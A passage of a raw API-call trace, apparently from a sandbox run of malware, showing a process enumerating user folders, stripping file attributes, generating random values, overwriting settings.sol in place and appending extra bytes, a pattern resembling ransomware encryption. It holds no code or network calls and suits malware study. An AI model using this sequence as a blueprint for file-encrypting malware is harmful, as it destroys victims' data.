returned="C:\\Users\\All Users\\Microsoft\\Windows\\WER\\ReportArchive\\" [0160.415] wcscat (in: _Dest=0x1b85f310, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\WER\\ReportArchive\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows\\WER\\ReportArchive\\*" [0160.415] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce58ed0 [0160.415] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\WER\\ReportArchive\\*", lpFindFileData=0x1ce58ed0 | out: lpFindFileData=0x1ce58ed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfda01e06, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0x9a0a5fd1, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd862b0 [0160.416] wcscmp (_String1=".", _String2=".") returned 0 [0160.416] FindNextFileW (in: hFindFile=0x1cd862b0, lpFindFileData=0x1ce58ed0 | out: lpFindFileData=0x1ce58ed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfda01e06, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0x9a0a5fd1, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0160.416] wcscmp (_String1="..", _String2=".") returned 1 [0160.416] wcscmp (_String1="..", _String2="..") returned 0 [0160.416] FindNextFileW (in: hFindFile=0x1cd862b0, lpFindFileData=0x1ce58ed0 | out: lpFindFileData=0x1ce58ed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfda01e06, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0x9a0a5fd1, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0160.416] FindClose (in: hFindFile=0x1cd862b0 | out: hFindFile=0x1cd862b0) returned 1 [0160.417] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce58ed0) returned 1 [0160.417] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f310) returned 1 [0160.417] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebe580) returned 1 Thread: id = 2866 os_tid = 0xc44 [0160.467] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xbe) returned 0x118880 [0160.467] wcscpy (in: _Dest=0x118880, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support" [0160.467] wcscat (in: _Dest=0x118880, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\" [0160.467] wcscat (in: _Dest=0x118880, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\*" [0160.467] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce58ed0 [0160.467] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\*", lpFindFileData=0x1ce58ed0 | out: lpFindFileData=0x1ce58ed0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6d241020, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x6d9d7640, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x6d9d7640, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd862b0 [0160.738] wcscmp (_String1=".", _String2=".") returned 0 [0160.738] FindNextFileW (in: hFindFile=0x1cd862b0, lpFindFileData=0x1ce58ed0 | out: lpFindFileData=0x1ce58ed0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6d241020, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x6d9d7640, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x6d9d7640, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0160.738] wcscmp (_String1="..", _String2=".") returned 1 [0160.738] wcscmp (_String1="..", _String2="..") returned 0 [0160.738] FindNextFileW (in: hFindFile=0x1cd862b0, lpFindFileData=0x1ce58ed0 | out: lpFindFileData=0x1ce58ed0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6d9d7640, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x6d9d7640, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x6d9d7640, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="flashplayer", cAlternateFileName="FLASHP~1")) returned 1 [0160.738] wcscmp (_String1="flashplayer", _String2=".") returned 1 [0160.738] wcscmp (_String1="flashplayer", _String2="..") returned 1 [0160.738] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd2) returned 0x1ced04a0 [0160.738] wcscpy (in: _Dest=0x1ced04a0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support" [0160.738] wcscat (in: _Dest=0x1ced04a0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\" [0160.738] wcscat (in: _Dest=0x1ced04a0, _Source="flashplayer" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer" [0161.033] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd6) returned 0x1cecfda0 [0161.033] wcscpy (in: _Dest=0x1cecfda0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer" [0161.033] wcscat (in: _Dest=0x1cecfda0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\" [0161.033] wcscat (in: _Dest=0x1cecfda0, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\*" [0161.033] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x20502a10 [0161.033] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\*", lpFindFileData=0x20502a10 | out: lpFindFileData=0x20502a10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6d9d7640, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x6d9d7640, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x6d9d7640, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86850 [0165.251] wcscmp (_String1=".", _String2=".") returned 0 [0165.251] FindNextFileW (in: hFindFile=0x1cd86850, lpFindFileData=0x20502a10 | out: lpFindFileData=0x20502a10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6d9d7640, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x6d9d7640, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x6d9d7640, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.251] wcscmp (_String1="..", _String2=".") returned 1 [0165.251] wcscmp (_String1="..", _String2="..") returned 0 [0165.251] FindNextFileW (in: hFindFile=0x1cd86850, lpFindFileData=0x20502a10 | out: lpFindFileData=0x20502a10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6d9d7640, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x1d4582b0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d4582b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sys", cAlternateFileName="")) returned 1 [0165.251] wcscmp (_String1="sys", _String2=".") returned 1 [0165.251] wcscmp (_String1="sys", _String2="..") returned 1 [0165.251] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xda) returned 0x1b798e90 [0165.251] wcscpy (in: _Dest=0x1b798e90, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer" [0165.252] wcscat (in: _Dest=0x1b798e90, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\" [0165.252] wcscat (in: _Dest=0x1b798e90, _Source="sys" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys" [0165.934] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xde) returned 0x1b798da0 [0165.934] wcscpy (in: _Dest=0x1b798da0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys" [0165.934] wcscat (in: _Dest=0x1b798da0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\" [0165.934] wcscat (in: _Dest=0x1b798da0, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\*" [0165.934] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce567d0 [0165.935] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\*", lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6d9d7640, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x1d4582b0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d4582b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd863d0 [0165.935] wcscmp (_String1=".", _String2=".") returned 0 [0165.935] FindNextFileW (in: hFindFile=0x1cd863d0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6d9d7640, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x1d4582b0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d4582b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.935] wcscmp (_String1="..", _String2=".") returned 1 [0165.935] wcscmp (_String1="..", _String2="..") returned 0 [0165.935] FindNextFileW (in: hFindFile=0x1cd863d0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6d9d7640, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x1d4582b0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d4582b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x1d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.sol", cAlternateFileName="")) returned 1 [0165.935] wcscmp (_String1="settings.sol", _String2=".") returned 1 [0165.935] wcscmp (_String1="settings.sol", _String2="..") returned 1 [0165.936] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xf4) returned 0x1b78e680 [0165.936] wcscpy (in: _Dest=0x1b78e680, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys" [0165.936] wcscat (in: _Dest=0x1b78e680, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\" [0165.936] wcscat (in: _Dest=0x1b78e680, _Source="settings.sol" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol" [0165.936] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\macromedia\\flash player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol")) returned 0x2020 [0165.945] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol", dwFileAttributes=0x20) returned 1 [0203.056] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\macromedia\\flash player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1c10 [0203.057] GetFileSizeEx (in: hFile=0x1c10, lpFileSize=0x45e1f9e0 | out: lpFileSize=0x45e1f9e0*=470) returned 1 [0203.057] SetFilePointerEx (in: hFile=0x1c10, liDistanceToMove=0x1d2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.057] ReadFile (in: hFile=0x1c10, lpBuffer=0x45e1f960, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x45e1f9a8, lpOverlapped=0x0 | out: lpBuffer=0x45e1f960*, lpNumberOfBytesRead=0x45e1f9a8*=0x4, lpOverlapped=0x0) returned 1 [0203.058] SetFilePointerEx (in: hFile=0x1c10, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.058] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb0dd0 [0203.059] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb0aa0 [0203.060] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2e40 [0203.060] NtQuerySystemTime (in: CurrentTime=0x45e1f8a0 | out: CurrentTime=0x45e1f8a0*=132462178081582000) returned 0x0 [0203.060] RtlRandomEx (in: Seed=0x45e1f890 | out: Seed=0x45e1f890) returned 0x44c9e0de [0203.060] RtlRandomEx (in: Seed=0x45e1f890 | out: Seed=0x45e1f890) returned 0x7a541a7b [0203.060] RtlRandomEx (in: Seed=0x45e1f890 | out: Seed=0x45e1f890) returned 0x4f3a11f3 [0203.060] RtlRandomEx (in: Seed=0x45e1f890 | out: Seed=0x45e1f890) returned 0x3f9a0eff [0203.060] RtlRandomEx (in: Seed=0x45e1f890 | out: Seed=0x45e1f890) returned 0x6deabca2 [0203.060] RtlRandomEx (in: Seed=0x45e1f890 | out: Seed=0x45e1f890) returned 0x3d53e577 [0203.060] RtlRandomEx (in: Seed=0x45e1f890 | out: Seed=0x45e1f890) returned 0x7238fbed [0203.060] RtlRandomEx (in: Seed=0x45e1f890 | out: Seed=0x45e1f890) returned 0x95ed430 [0203.060] RtlRandomEx (in: Seed=0x45e1f890 | out: Seed=0x45e1f890) returned 0x1ffa8a74 [0203.060] RtlRandomEx (in: Seed=0x45e1f890 | out: Seed=0x45e1f890) returned 0x7c90f29e [0203.060] RtlRandomEx (in: Seed=0x45e1f890 | out: Seed=0x45e1f890) returned 0x5c66955d [0203.060] RtlRandomEx (in: Seed=0x45e1f890 | out: Seed=0x45e1f890) returned 0x450ca36a [0203.060] RtlRandomEx (in: Seed=0x45e1f890 | out: Seed=0x45e1f890) returned 0x42752ba2 [0203.060] RtlRandomEx (in: Seed=0x45e1f890 | out: Seed=0x45e1f890) returned 0x3f31b1f5 [0203.060] RtlRandomEx (in: Seed=0x45e1f890 | out: Seed=0x45e1f890) returned 0x371cfbd5 [0203.060] RtlRandomEx (in: Seed=0x45e1f890 | out: Seed=0x45e1f890) returned 0x794c73b8 [0203.060] RtlRandomEx (in: Seed=0x45e1f890 | out: Seed=0x45e1f890) returned 0x72c7bbf0 [0203.060] RtlRandomEx (in: Seed=0x45e1f890 | out: Seed=0x45e1f890) returned 0x2b6e9ca8 [0203.060] RtlRandomEx (in: Seed=0x45e1f890 | out: Seed=0x45e1f890) returned 0x3248c523 [0203.060] RtlRandomEx (in: Seed=0x45e1f890 | out: Seed=0x45e1f890) returned 0x3b2ea59b [0203.061] RtlRandomEx (in: Seed=0x45e1f890 | out: Seed=0x45e1f890) returned 0x50788dba [0203.061] RtlRandomEx (in: Seed=0x45e1f890 | out: Seed=0x45e1f890) returned 0x1aa6dc27 [0203.061] RtlRandomEx (in: Seed=0x45e1f890 | out: Seed=0x45e1f890) returned 0x25f9f987 [0203.061] RtlRandomEx (in: Seed=0x45e1f890 | out: Seed=0x45e1f890) returned 0x2d04f40d [0203.061] RtlRandomEx (in: Seed=0x45e1f890 | out: Seed=0x45e1f890) returned 0x4d9df842 [0203.061] RtlRandomEx (in: Seed=0x45e1f890 | out: Seed=0x45e1f890) returned 0x6fd57236 [0203.061] RtlRandomEx (in: Seed=0x45e1f890 | out: Seed=0x45e1f890) returned 0x546c7440 [0203.061] RtlRandomEx (in: Seed=0x45e1f890 | out: Seed=0x45e1f890) returned 0x161aa5c [0203.061] RtlRandomEx (in: Seed=0x45e1f890 | out: Seed=0x45e1f890) returned 0xb9a2ce4 [0203.061] RtlRandomEx (in: Seed=0x45e1f890 | out: Seed=0x45e1f890) returned 0x495eee88 [0203.061] RtlRandomEx (in: Seed=0x45e1f890 | out: Seed=0x45e1f890) returned 0x41043e5a [0203.061] RtlRandomEx (in: Seed=0x45e1f890 | out: Seed=0x45e1f890) returned 0xff269c9 [0203.069] ReadFile (in: hFile=0x1c10, lpBuffer=0x42213100, nNumberOfBytesToRead=0x1d6, lpNumberOfBytesRead=0x45e1f890, lpOverlapped=0x0 | out: lpBuffer=0x42213100*, lpNumberOfBytesRead=0x45e1f890*=0x1d6, lpOverlapped=0x0) returned 1 [0203.069] SetFilePointerEx (in: hFile=0x1c10, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.069] WriteFile (in: hFile=0x1c10, lpBuffer=0x42225d50*, nNumberOfBytesToWrite=0x1d6, lpNumberOfBytesWritten=0x45e1f894, lpOverlapped=0x0 | out: lpBuffer=0x42225d50*, lpNumberOfBytesWritten=0x45e1f894*=0x1d6, lpOverlapped=0x0) returned 1 [0206.348] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2fe70 [0206.348] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2fdb0 [0206.349] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2fdb0) returned 1 [0206.349] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42225d50) returned 1 [0206.349] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42213100) returned 1 [0206.349] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b2b0) returned 1 [0206.349] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce620f0) returned 1 [0206.349] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x42d2fdb0 [0206.350] SetFilePointerEx (in: hFile=0x1c10, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0206.350] WriteFile (in: hFile=0x1c10, lpBuffer=0x42c154d0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x45e1f9b0, lpOverlapped=0x0 | out: lpBuffer=0x42c154d0*, lpNumberOfBytesWritten=0x45e1f9b0*=0x10a, lpOverlapped=0x0) returned 1 [0209.076] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5ba70 [0209.076] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060830 [0209.076] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb1340 [0209.077] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb1340) returned 1 [0209.077] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d520 [0209.077] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb1340 [0209.078] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb09b0 [0209.078] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb09b0) returned 1 [0209.079] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060830) returned 1 [0209.079] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5ba70) returned 1 [0209.079] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1ce5e170 [0209.079] sprintf (in: _Dest=0x1ce5e170, _Format="%c%c" | out: _Dest="5c") returned 2 [0209.079] sprintf (in: _Dest=0x1ce5e172, _Format="%c%c" | out: _Dest="f7") returned 2 [0209.079] sprintf (in: _Dest=0x1ce5e174, _Format="%c%c" | out: _Dest="d8") returned 2 [0209.080] sprintf (in: _Dest=0x1ce5e176, _Format="%c%c" | out: _Dest="b8") returned 2 [0209.080] sprintf (in: _Dest=0x1ce5e178, _Format="%c%c" | out: _Dest="3b") returned 2 [0209.080] sprintf (in: _Dest=0x1ce5e17a, _Format="%c%c" | out: _Dest="44") returned 2 [0209.080] sprintf (in: _Dest=0x1ce5e17c, _Format="%c%c" | out: _Dest="3d") returned 2 [0209.080] sprintf (in: _Dest=0x1ce5e17e, _Format="%c%c" | out: _Dest="4f") returned 2 [0209.080] sprintf (in: _Dest=0x1ce5e180, _Format="%c%c" | out: _Dest="54") returned 2 [0209.080] sprintf (in: _Dest=0x1ce5e182, _Format="%c%c" | out: _Dest="89") returned 2 [0209.080] sprintf (in: _Dest=0x1ce5e184, _Format="%c%c" | out: _Dest="12") returned 2 [0209.080] sprintf (in: _Dest=0x1ce5e186, _Format="%c%c" | out: _Dest="12") returned 2 [0209.080] sprintf (in: _Dest=0x1ce5e188, _Format="%c%c" | out: _Dest="23") returned 2 [0209.080] sprintf (in: _Dest=0x1ce5e18a, _Format="%c%c" | out: _Dest="9b") returned 2 [0209.080] sprintf (in: _Dest=0x1ce5e18c, _Format="%c%c" | out: _Dest="a8") returned 2 [0209.080] sprintf (in: _Dest=0x1ce5e18e, _Format="%c%c" | out: _Dest="91") returned 2 [0209.080] sprintf (in: _Dest=0x1ce5e190, _Format="%c%c" | out: _Dest="78") returned 2 [0209.080] sprintf (in: 